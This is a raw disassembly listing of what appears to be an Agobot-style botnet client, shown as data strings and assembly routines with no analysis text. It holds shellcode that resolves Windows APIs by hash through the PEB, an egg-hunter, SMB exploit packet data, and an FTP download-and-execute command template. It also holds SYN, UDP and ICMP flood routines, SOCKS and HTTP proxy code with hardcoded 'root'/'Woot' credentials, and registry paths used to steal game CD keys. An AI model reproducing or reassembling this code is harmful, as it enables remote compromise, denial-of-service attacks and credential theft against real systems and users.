aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o
dd 0
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do
align 8
aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o
align 10h
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o
dd 0
aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co
align 8
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o
align 4
aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo
align 10h
aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o
align 4
aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo
align 4
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
align 4
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o
align 8
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo
align 4
aNla db 'Nla',0 ; DATA XREF: sub_4207E0+E3o
aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o
align 10h
aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo
align 4
off_44432C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo
dd 0
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
align 10h
dd 0
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo
align 4
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o
align 10h
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
align 10h
dd 2 dup(0)
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o
align 8
aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do
align 4
aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do
align 4
aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o
align 4
aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do
align 4
aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o
align 4
aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do
dd 0
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o
; sub_4207E0:loc_420A6Bo
align 10h
asc_444400: ; DATA XREF: sub_420E10:loc_420ECFo
; sub_420E10+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o
; sub_420E10:loc_42107Eo ...
aHttp db 'http',0 ; DATA XREF: sub_420E10+84o
; sub_420E10+257o ...
align 10h
aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o
dd 0
dd 73610000h, 6Eh, 6 dup(0)
dword_444438 dd 1BDh ; sub_422A40+310o ...
off_44443C dd offset sub_401811 ; DATA XREF: ___:00423E93r
dword_444440 dd 0 ; sub_4235F0+3Ar ...
dd 1, 0
aAsn2 db 'asn2',0
align 4
dd 73610000h, 326Eh, 6 dup(0)
dd 1BDh, 401811h, 0
dd 1, 19h dup(0)
aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
; DATA XREF: sub_422A40+8F3o
db 0
align 4
dd 3 dup(0)
aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o
align 8
aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo
align 10h
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
align 4
dd 0
aB db ' -b',0 ; DATA XREF: sub_422A40+747o
aA db ' -a',0 ; DATA XREF: sub_422A40+737o
; sub_422A40+7A3o ...
aR db ' -r',0 ; DATA XREF: sub_422A40:loc_423167o
; sub_422A40+7E5o
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
align 10h
aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo
align 4
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o
align 4
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
align 10h
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
align 8
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
align 8
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
align 10h
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
align 8
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do
align 4
dd 0
dword_44466C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
align 10h
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
align 10h
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
align 8
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
align 10h
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:00423CD6o
align 10h
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: ___:004241D7o
align 4
dd 3 dup(0)
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: ___:00424126o
dd 3 dup(0)
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:0042406Fo
dd 3 dup(0)
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo
align 10h
dword_444830 dd 10FF8h, 0 dword_444838 dd 10FF8h dword_44483C dd 7FFDF020h, 0 dword_444844 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4448FC dd 0 dword_444900 dd 800000D4h align 8
; =============== S U B R O U T I N E =======================================
sub_444908 proc near ; DATA XREF: sub_425020+85o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_444A04
push dword ptr [esi]
push 63D61209h
call sub_444A1A
mov [esi+8], eax
call sub_4449CD
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_444A1A
mov [esi+0Ch], eax
call sub_44497F
push dword ptr [esi+4]
push 4C0297FAh
call sub_444A1A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_444908 endp
; =============== S U B R O U T I N E =======================================
sub_44497F proc near ; CODE XREF: sub_444908+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4449A8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_44497F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4449A8 proc near ; CODE XREF: sub_44497F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4449B7: ; CODE XREF: sub_4449A8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4449C4
inc ebx
jmp short loc_4449B7
; ---------------------------------------------------------------------------
loc_4449C4: ; CODE XREF: sub_4449A8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4449A8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4449CD proc near ; CODE XREF: sub_444908+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4449E5: ; CODE XREF: sub_4449CD+1Ej
cmp [ecx], ebx
jz short loc_4449ED
mov ecx, [ecx]
jmp short loc_4449E5
; ---------------------------------------------------------------------------
loc_4449ED: ; CODE XREF: sub_4449CD+1Aj
mov edx, edi
loc_4449EF: ; CODE XREF: sub_4449CD+2Aj
cmp [edx+4], ebx
jz short loc_4449F9
mov edx, [edx+4]
jmp short loc_4449EF
; ---------------------------------------------------------------------------
loc_4449F9: ; CODE XREF: sub_4449CD+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4449CD endp
; =============== S U B R O U T I N E =======================================
sub_444A04 proc near ; CODE XREF: sub_444908+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_444A04 endp
; =============== S U B R O U T I N E =======================================
sub_444A1A proc near ; CODE XREF: sub_444908+16p
; sub_444908+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_444A30: ; CODE XREF: sub_444A1A+33j
jecxz short loc_444A6A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_444A3D: ; CODE XREF: sub_444A1A+2Dj
lodsb
cmp al, ah
jz short loc_444A49
ror edi, 0Dh
add edi, eax
jmp short loc_444A3D
; ---------------------------------------------------------------------------
loc_444A49: ; CODE XREF: sub_444A1A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_444A30
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_444A6A: ; CODE XREF: sub_444A1A:loc_444A30j
; sub_444A1A:loc_444A6Aj
jmp short loc_444A6A
sub_444A1A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_444A70 proc near ; DATA XREF: sub_425020+1Eo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_444AC2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_444A8D: ; CODE XREF: sub_444A70+38j
jecxz short loc_444ABD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_444A98: ; CODE XREF: sub_444A70+32j
lodsb
test al, al
jz short loc_444AA4
ror edx, 0Dh
add edx, eax
jmp short loc_444A98
; ---------------------------------------------------------------------------
loc_444AA4: ; CODE XREF: sub_444A70+2Bj
cmp edx, [esp+arg_0]
jnz short loc_444A8D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_444ABD: ; CODE XREF: sub_444A70:loc_444A8Dj
mov [esp+arg_0], ebx
retn
sub_444A70 endp
; =============== S U B R O U T I N E =======================================
sub_444AC2 proc near ; CODE XREF: sub_444A70+7p
; FUNCTION CHUNK AT 00444AFA SIZE 00000005 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_444ADB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_444AE6
; ---------------------------------------------------------------------------
loc_444ADB: ; CODE XREF: sub_444AC2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_444AE6: ; CODE XREF: sub_444AC2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_444AFA
sub_444AC2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_444AED proc near ; CODE XREF: sub_444AC2:loc_444AFAp
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_444AED endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_444AC2
loc_444AFA: ; CODE XREF: sub_444AC2+29j
call sub_444AED
; END OF FUNCTION CHUNK FOR sub_444AC2
; ---------------------------------------------------------------------------
db 0
dd 25h dup(0)
dword_444B94 dd 23h dword_444B98 dd 60h dword_444B9C dd 62B0606h, 2050501h, 0A0hdword_444BA8 dd 0A1h dword_444BAC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do
align 4
loc_444BB8: ; DATA XREF: sub_424840+100o
jmp short near ptr dword_444BC0
; ---------------------------------------------------------------------------
align 10h
dword_444BC0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: sub_425020+60o
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 4
dd 7 dup(0)
; ---------------------------------------------------------------------------
loc_444C68: ; DATA XREF: sub_4254E0+CCo
jmp short loc_444C6C
; ---------------------------------------------------------------------------
loc_444C6A: ; CODE XREF: ___:loc_444C6Cp
jmp short loc_444C71
; ---------------------------------------------------------------------------
loc_444C6C: ; CODE XREF: ___:loc_444C68j
call loc_444C6A
loc_444C71: ; CODE XREF: ___:loc_444C6Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_444C76 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w
db 80h, 73h, 0Eh
byte_444C7B db 0FFh ; DATA XREF: sub_4254E0+DAw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_444C80: ; DATA XREF: sub_4254E0+A7o
jmp short loc_444C84
; ---------------------------------------------------------------------------
loc_444C82: ; CODE XREF: ___:loc_444C84p
jmp short loc_444C89
; ---------------------------------------------------------------------------
loc_444C84: ; CODE XREF: ___:loc_444C80j
call loc_444C82
loc_444C89: ; CODE XREF: ___:loc_444C82j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_444C8D db 0FFh ; DATA XREF: sub_4254E0+AEw
dw 7380h
db 0Ch
byte_444C91 db 0FFh ; DATA XREF: sub_4254E0+B4w
dw 0E243h
dd 0F9h
dword_444C98 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_425270+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444CFC dd 12h dd 70746674h, 6578652Eh, 20692D20h
dword_444D0C dd 74656720h byte_444D10 db 20h ; DATA XREF: sub_425270+A2r
dword_444D11 dd 0E8006A00h dword_444D15 dd 17h ; sub_425270+D2r
dword_444D19 dd 0E8C30175h dword_444D1D dd 1 ; sub_425270+E7r
byte_444D21 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o
dd 7E8h
db 0, 0Fh, 84h
dword_444D2B dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 0Ch dup(0)
aPing db 'ping',0 ; DATA XREF: sub_426450+22o
align 4
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_4266A0+D0o
align 10h
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
align 4
dd 2 dup(0)
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
align 8
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo
dd 0
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o
align 10h
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co
align 4
aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o
align 4
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
align 10h
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
align 10h
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
align 4
dd 0
aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
align 4
dd 0
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
align 8
aUdp db 'udp',0 ; DATA XREF: sub_427590+22o
aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o
align 10h
aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
align 10h
off_444F30 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o
aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_428040+AAo
dd 3 dup(0)
aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_428040+33o
align 4
dd 3 dup(0)
aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Connection to %s:%d has failed',0Ah,0
align 10h
dd 7 dup(0)
aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Error Resolving %s',0Ah,0
align 4
dd 6 dup(0)
aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah
; DATA XREF: sub_4282C0+D12o
db 0Dh,0Ah,0
dd 2 dup(0)
aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
; sub_4282C0+B97o
dd 0
aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
; sub_4282C0+B79o
align 4
dd 0
aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o
dd 0
aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o
align 8
aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
align 10h
aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do
dd 0
aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo
db 'Connection: close',0Dh,0Ah
db '%s',0
dd 2 dup(0)
aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o
db 'Connection: Keep-Alive',0Dh,0Ah
db '%s',0
align 8
aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo
; sub_4282C0+9F0o
align 8
aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
align 10h
asc_445220 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co
; sub_4282C0+52Co ...
align 4
aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o
dd 0
aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo
align 8
off_445248 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o
aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o
align 4
aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
dd 2 dup(0)
aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
dd 2 dup(0)
aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
align 10h
aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o
; sub_42A090+22o
align 4
aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
align 8
aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
align 10h
dd 2 dup(0)
dword_445328 dd 1000005h, 0 dword_445330 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0
; DATA XREF: sub_42B880+20Fo
align 4
dd 3 dup(0)
aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
; DATA XREF: sub_42B880+3Fo
align 4
dd 2 dup(0)
aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
; DATA XREF: ___:0042C435o
align 10h
aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o
align 4
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: ___:004453F8o
align 4
aNetworkFailedT db 'Network failed to start: %d',0Ah,0
align 8
aCalloc db 'calloc',0
align 10h
aSetsockopt db 'setsockopt',0
align 10h
aSocket db 'socket',0
align 4
aGethostbyname db 'gethostbyname',0
align 4
aGetservbyname db 'getservbyname',0
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o
; sub_42C810:loc_42C8CDo
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
align 4
dd 0
aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o
align 10h
aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do
dd 0
aWrite db 'write',0
align 4
aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
align 10h
dd 0
dword_4454D4 dd 524F5453h byte_4454D8 db 0 ; DATA XREF: sub_42D2C0+EDr
align 4
dword_4454DC dd 52544552h byte_4454E0 db 0 ; DATA XREF: sub_42D2C0+D3r
align 4
dword_4454E4 dd 5453494Ch byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+B8r
align 4
dword_4454EC dd 54534C4Eh byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+9Er
align 4
dword_4454F4 dd 45505954h, 632520h, 0 ; ___:0042E6CAo
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_42D2C0+2Do
align 4
dd 2 dup(0)
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0
align 10h
aListen db 'listen',0
align 4
aBind db 'bind',0
align 10h
aGetsockname db 'getsockname',0
align 10h
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
align 8
aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o
align 10h
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
align 4
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
align 10h
aTimedOutWaitin db 'timed out waiting for connection',0
align 8
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0
align 10h
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
align 10h
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
align 10h
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo
dd 0
aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do
align 4
aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo
align 4
aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo
align 4
aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o
align 4
aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo
align 4
off_4456AC dd offset aInterlockedcom+10h ; DATA XREF: ___:0042E35Do
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o
dd 0
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
align 4
dd 0
word_4456EC dw 77h ; DATA XREF: sub_42E400+1Fr
align 10h
dword_4456F0 dd 25206425h, 64hdword_4456F8 dd 455A4953h, 732520h, 0dword_445704 dd 4D54444Dh, 732520h, 0dword_445710 dd 4F544E52h, 732520h, 0dword_44571C dd 52464E52h, 732520h, 0dword_445728 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o
align 4
dword_44573C dd 1 ; sub_430460+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
align 10h
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o
align 10h
aA_0: ; DATA XREF: sub_433A20+36o
unicode 0, <>,0
dd 13h dup(0)
dd offset aBattlefield194 ; "[Battlefield 1942: "
dd 80000002h, 446894h, 446F60h, 446860h, 80000002h, 446800h
dd 446F60h, 4467D0h, 80000002h, 446778h, 446F60h, 446754h
dd 80000002h, 44670Ch, 446F60h, 4466F4h, 80000002h, 4466B0h
dd 446F60h, 446688h, 80000002h, 44664Ch, 446F60h, 446618h
dd 80000002h, 4465B8h, 446F60h, 44658Ch, 80000002h, 446568h
dd 446560h, 446534h, 80000002h, 44650Ch, 446560h, 4464F4h
dd 80000001h, 4464C4h, 4464C0h, 4464B0h, 80000002h, 446474h
dd 446F60h, 446464h, 80000002h, 446428h, 446F60h, 446414h
dd 80000002h, 4463CCh, 446F60h, 4463B0h, 80000002h, 44636Ch
dd 446F60h, 446350h, 80000001h, 446328h, 4464C0h, 446318h
dd 80000001h, 4462F0h, 4464C0h, 4462D0h, 80000002h, 446294h
dd 446290h, 446274h, 80000002h, 446250h, 446248h, 446230h
dd 80000001h, 446204h, 4461FCh, 4461D8h, 80000002h, 44618Ch
dd 446F60h, 446164h, 80000002h, 446110h, 446F60h, 4460D8h
dd 80000002h, 446074h, 446F60h, 446040h, 80000002h, 445FE0h
dd 446F60h, 445FC4h, 80000002h, 445F7Ch, 446F60h, 445F60h
dd 80000002h, 445F18h, 446F60h, 445F08h, 80000002h, 445ECCh
dd 446F60h, 445EBCh, 80000002h, 445E80h, 446F60h, 445E58h
dd 80000002h, 445E04h, 446F60h, 445DDCh, 80000002h, 445D8Ch
dd 446F60h, 445D70h, 80000002h, 445D48h, 4464C0h, 445D34h
dd 80000002h, 445CFCh, 446F60h, 445CCCh, 80000002h, 445C74h
dd 446F60h, 445C58h, 80000001h, 445C08h, 445C00h, 445BE4h
dd 80000002h, 445BA0h, 445B94h, 445B7Ch, 80000001h, 445B4Ch
dd 445B40h, 445B20h, 80000002h, 445AE4h, 445C00h, 445AC4h
dd 80000002h, 445A88h, 445C00h, 1Eh dup(0)
aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
align 4
dd 2 dup(0)
aUnrealTourname db '[Unreal Tournament 2004: ',0
align 10h
dd 0
aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
align 10h
